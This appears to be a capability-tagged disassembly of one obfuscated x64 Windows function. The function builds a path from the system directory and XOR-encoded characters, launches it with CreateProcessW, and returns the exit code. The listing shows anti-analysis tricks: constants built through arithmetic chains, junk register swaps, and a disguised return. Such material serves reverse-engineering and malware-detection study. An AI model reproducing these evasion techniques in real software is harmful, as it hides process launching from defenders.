Function at 0x140161790
Capabilities:
Create process on windows
Encode data using xor
Get common file path

Disassembly:
xchg r10, rbx
mov qword [rsp + 8], r10
xchg rbx, r10
xchg rdi, rsi
mov qword [rsp + 0x10], rdi
xchg rsi, rdi
nop
mov qword [rsp - 8], rbp
sub rsp, 8
push rdi
nop
sub rsp, 8
mov qword [rsp], r12
nop
sub rsp, 8
mov qword [rsp], r14
push rdx
mov qword [rsp], r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
xchg r15, rdx
mov rdx, r15
xchg rdx, r15
xor edx, edx
mov r8d, 0x467c7938
sub r8d, 0x97750ea
add r8d, 0x199a1172
add r8d, 0x1ad71b73
sub r8d, 0x48e442
add r8d, 0xf7049e
sub r8d, 0x3356518
sub r8d, 0x62d93d71
sub r8d, 0xc15d0fc
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
mov edx, 0x7fb71195
xor edx, 0x5fac7f5
sub edx, 0x6854b360
sub edx, 0x1455377
add edx, 0x2f220378
sub edx, 0x234e97e5
add edx, 0x51fc6f98
sub edx, 0x63ac9988
sub edx, 0xad71028
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor r12d, r12d
mov qword [rsp + 0x60], r12
xchg r12, r14
mov qword [rsp + 0x68], r14
xchg r14, r12
lea rax, [rbp]
nop
movabs rsi, 0xffffffff7597013f
sub rsi, 0x64192847
add rsi, 0x176b032a
add rsi, 0x4d1d9a87
xor rsi, 0x743afd2
sub rsi, 0x18076012
add rsi, 0x7fffffff
add rsi, 0x26c18697
xchg rbx, r8
mov r8, rsi
xchg r8, rbx
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x1401618d5
movabs r14, 0x7fffffff38c11cb2
xor r14, 0x6b069bb8
sub r14, 0x5316fe18
add r14, 0x3ff6e68e
xor r14, 0x6d276d74
add r14, 0x7fffffff
add r14, 0x527ffd0b
cmp rbx, r14
ja 0x140161ee6
mov qword [rsp + 0x68], 0x776a1bdf
xor qword [rsp + 0x68], 0x56ada72e
xor qword [rsp + 0x68], 0x3cd34384
add qword [rsp + 0x68], 0x544ab8b3
xor qword [rsp + 0x68], 0x23ff3063
add qword [rsp + 0x68], 0x2776e08f
xor qword [rsp + 0x68], 0x55ee4674
xor qword [rsp + 0x68], 0x5d521597
sub qword [rsp + 0x68], 0x72ab3b32
cmp rbx, 8
jae 0x1401619ab
xchg rbx, r8
mov qword [rsp + 0x60], r8
xchg rbx, r8
add rbx, rbx
xchg r8, rcx
mov rcx, rbx
xchg r8, rcx
lea rdx, [rbp]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x50], r12w
jmp 0x140161a43
xchg rbp, rax
mov rbp, rbx
xchg rbp, rax
or rax, 7
cmp rax, r14
ja 0x1401619f8
xchg r12, r14
mov r12, rax
xchg r12, r14
mov ecx, 0x5de532ea
sub ecx, 0x1362b2d2
sub ecx, 0x49de6b55
xor ecx, 0xe8d57d4
xor ecx, 0x302fffec
sub ecx, 0x39f9c713
xor ecx, 0x40cf5e2
cmp rax, rcx
cmovb r14, rcx
lea rdx, [r14 + 1]
lea rcx, [rsp + 0x50]
call fcn.14002fa00
xchg r14, rax
mov rdi, r14
xchg r14, rax
xchg rbx, rax
mov qword [rsp + 0x50], rbx
xchg rbx, rax
xchg rbx, r9
mov qword [rsp + 0x60], r9
xchg rbx, r9
mov qword [rsp + 0x68], r14
add rbx, rbx
xchg r9, rbx
mov r8, r9
xchg r9, rbx
lea rdx, [rbp]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r12w
mov byte [rbp + 0x258], 0x2d
add byte [rbp + 0x258], 0xc
xor byte [rbp + 0x258], 0xb
add byte [rbp + 0x258], 4
sub byte [rbp + 0x258], 0x15
add byte [rbp + 0x258], 0xf
xor byte [rbp + 0x258], 0xc6
mov dword [rbp + 0x25a], 0x69ebd970
sub dword [rbp + 0x25a], 0x405dc859
sub dword [rbp + 0x25a], 0x13de353a
sub dword [rbp + 0x25a], 0x4350c51
add dword [rbp + 0x25a], 0x1a7597d8
add dword [rbp + 0x25a], 0x196a3b56
xor dword [rbp + 0x25a], 0x7208586f
add dword [rbp + 0x25a], 0x8b6c2c6
xor dword [rbp + 0x25a], 0x400942fd
movzx edx, word [rbp + 0x25a]
movzx ecx, byte [rbp + 0x258]
add cx, dx
mov word [rbp + 0x25a], cx
mov byte [rbp + 0x258], 0x2b
xor byte [rbp + 0x258], 0x1c
add byte [rbp + 0x258], 0x1e
xor byte [rbp + 0x258], 6
xor byte [rbp + 0x258], 0x10
sub byte [rbp + 0x258], 0x43
lea rax, [rbp + 0x25a]
mov rdi, rsi
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140161b21
mov r14, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
xchg r10, rax
mov r10, rcx
xchg r10, rax
sub rax, r14
cmp rdi, rax
ja 0x140161b86
lea rax, [r14 + rdi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + r14*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0x25a]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rdi]
mov word [rbx + rax*2], r12w
jmp 0x140161bb4
xchg rcx, rdi
mov qword [rsp + 0x20], rcx
xchg rdi, rcx
lea r9, [rbp + 0x25a]
movzx r8d, byte [rbp + 0x250]
xchg rbp, rdi
mov rdx, rbp
xchg rbp, rdi
lea rcx, [rsp + 0x50]
call fcn.140035040
nop
xchg r12, rbx
mov rax, rbx
xchg rbx, r12
nop dword [rax + rax]
mov byte [rbp + rax + 0x25a], 0x5b
xor byte [rbp + rax + 0x25a], 0x7a
add byte [rbp + rax + 0x25a], 0x32
xor byte [rbp + rax + 0x25a], 0x7a
add byte [rbp + rax + 0x25a], 0x51
xor byte [rbp + rax + 0x25a], 0x49
sub byte [rbp + rax + 0x25a], 0x33
inc rax
cmp rax, 2
jb 0x140161bc2
inc rsi
cmp word [r15 + rsi*2], 0
jne 0x140161c07
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
xchg rbp, rcx
mov rax, rbp
xchg rbp, rcx
sub rax, rdi
cmp rsi, rax
ja 0x140161c71
lea rax, [rdi + rsi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
lea r8, [rsi + rsi]
xchg rdx, r15
mov r15, rdx
xchg rdx, r15
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r12w
jmp 0x140161c94
mov qword [rsp + 0x20], rsi
xchg r9, r15
mov r15, r9
xchg r15, r9
movzx r8d, byte [rbp + 0x250]
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140035040
xorps xmm0, xmm0
xor eax, eax
xchg rdx, rbp
movups xmmword [rdx - 0x6c], xmm0
xchg rbp, rdx
xchg rbp, r10
movups xmmword [r10 - 0x5c], xmm0
xchg rbp, r10
xchg rcx, rbp
movups xmmword [rcx - 0x4c], xmm0
xchg rcx, rbp
xchg rbp, r12
movups xmmword [r12 - 0x3c], xmm0
xchg r12, rbp
xchg rbx, rbp
movups xmmword [rbx - 0x2c], xmm0
xchg rbp, rbx
xchg r9, rbp
movups xmmword [r9 - 0x1c], xmm0
xchg rbp, r9
mov dword [rbp - 0xc], eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x250], 0x10c37849
add dword [rbp + 0x250], 0x5486a82c
sub dword [rbp + 0x250], 0x51a3d4df
xor dword [rbp + 0x250], 0x3062f47e
sub dword [rbp + 0x250], 0x134a10ef
xor dword [rbp + 0x250], 0x26774171
sub dword [rbp + 0x250], 0x2c77f517
sub dword [rbp + 0x250], 0x995fa70
mov dword [rbp - 0x70], 0x61873cce
xor dword [rbp - 0x70], 0x79afd085
xor dword [rbp - 0x70], 0x59489f93
xor dword [rbp - 0x70], 0x33b040c4
sub dword [rbp - 0x70], 0x7050ff77
xor dword [rbp - 0x70], 0x7f2c728d
sub dword [rbp - 0x70], 0x7d5340c0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
xchg rdx, rax
mov qword [rsp + 0x40], rdx
xchg rdx, rax
xchg r12, r10
mov qword [rsp + 0x38], r10
xchg r12, r10
xchg rbp, r12
mov qword [rsp + 0x30], rbp
xchg r12, rbp
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x31ee015
xor edx, 0x65a24ca8
sub edx, 0x58786819
add edx, 0x3c1c0392
xor edx, 0x52430292
xor edx, 0xe7dcb55b
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp + 0x250]
xchg rcx, r15
mov r15, qword [rsp + 0x70]
xchg rcx, r15
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xchg rcx, rdi
mov rdi, qword [rsp + 0x70]
xchg rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0x250]
xchg r11, rdx
mov r11, qword [rsp + 0x68]
xchg rdx, r11
cmp rdx, 8
jb 0x140161e91
lea rdx, [rdx*2 + 2]
xchg r10, rcx
mov r10, qword [rsp + 0x50]
xchg rcx, r10
xchg rcx, rax
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
jb 0x140161e8c
neg rdx
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
neg rax
add rax, 8
neg rax
cmp rax, 0x1f
jbe 0x140161e8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401fccd8
mov eax, ebx
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
nop
add rsp, 8
mov r15, qword [rsp - 8]
nop
add rsp, 8
mov r14, qword [rsp - 8]
nop
add rsp, 8
xchg qword [rsp - 8], r12
nop
xchg qword [rsp], rdi
add rsp, 8
push rcx
push rdx
push rbx
push rcx
push rcx
push rax
push rcx
xchg qword [rsp + 0x38], rbp
add rsp, 0x40
nop
add rsp, 8
jmp qword [rsp - 8]
call fcn.14002f9c0
int3